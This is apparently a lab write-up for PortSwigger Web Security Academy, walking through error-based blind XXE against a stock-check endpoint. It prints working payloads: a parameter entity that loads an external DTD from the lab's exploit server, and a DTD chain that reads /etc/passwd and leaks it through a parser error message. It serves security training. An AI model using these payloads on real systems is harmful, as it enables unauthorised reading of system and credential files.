Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type Blind XXE — Error-Based Data Retrieval via External DTD
Difficulty Practitioner
Objective Retrieve /etc/passwd via an XML parser error message

Exploiting Blind XXE to Retrieve Data via Error Messages — Writeup


Initial Observation

Same stock check endpoint, same XML format. Injecting teto into productId:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>teto</productId><storeId>teto</storeId></stockCheck>

Response: Invalid product ID — nothing reflected.

Screenshot

Trying a general external entity:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY miku SYSTEM "tetoooo">]>
<stockCheck><productId>&miku;</productId><storeId>&miku;</storeId></stockCheck>

Response: Entities are not allowed for security reasons

Screenshot

Trying a parameter entity pointing at the exploit server:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY % miku SYSTEM "https://exploit-0a400084049abc2e8268fb4f01a4002d.exploit-server.net/exploit"> %miku;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

The exploit server log shows the connection arriving:

Screenshot

But the response is interesting — it surfaces an XML parser error directly in the output:

XML parser exited with error: org.xml.sax.SAXParseException; systemId: https://exploit-0a400084049abc2e8268fb4f01a4002d.exploit-server.net/exploit; lineNumber: 1; columnNumber: 1; The markup declarations contained or pointed to by the document type declaration must be well-formed.
Screenshot

The error message is verbose and includes the systemId — the URL the parser tried to fetch. The application leaks parser errors to the user. We can weaponize that.

Understanding the Error-Based Technique

In the previous lab we exfiltrated data out-of-band via HTTP — the file contents traveled in a Collaborator URL. This lab takes a different approach: instead of sending the data somewhere, we make the parser throw an error that includes the data in the error message itself.

The trick is pointing %exfil at a path that doesn't exist but includes the file contents in the URL:

file:///tetodoesnotexist/%file;

When the parser tries to resolve this, it substitutes %file; with the actual contents of /etc/passwd, then attempts to load a file at that path. That path doesn't exist, so the parser throws a FileNotFoundException — but the error message contains the full path it tried to load, which now includes the file contents. The application surfaces that error in the response.

The same &#x25; trick from the previous lab is needed to nest the %exfil declaration inside %eval:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///tetodoesnotexist/%file;'>">
%eval;
%exfil;

%file captures /etc/passwd contents → %eval expands to declare %exfil with those contents embedded in a nonexistent path → %exfil causes the parser to attempt loading that path → the load fails → the error message leaks the path → the application returns the error → we read the file.


Attack Path

Storing the malicious DTD on the exploit server and sending the trigger request from Repeater. The response contains /etc/passwd in the parser error:

Screenshot

Displaying the file will solve de lab 0,0


Key Takeaways

  • Error-based XXE is an alternative to out-of-band exfiltration when a Collaborator callback isn't available or practical. As long as the application surfaces verbose parser errors, the file contents can ride in the error message instead of an HTTP request.
  • The nonexistent path trick (file:///doesnotexist/%file;) forces a guaranteed parse error that contains the file contents. The parser substitutes %file; before attempting the load, so the error message reflects whatever the entity resolved to.
  • This technique has a size limitation — very large files may get truncated in error output. For /etc/passwd it's usually fine; for binary files or large configs it may not be.
  • The chain structure is identical to the previous lab (%file%eval%exfil via &#x25;). The only difference is the final %exfil URI: instead of pointing at Collaborator, it points at a nonexistent local path.

Resources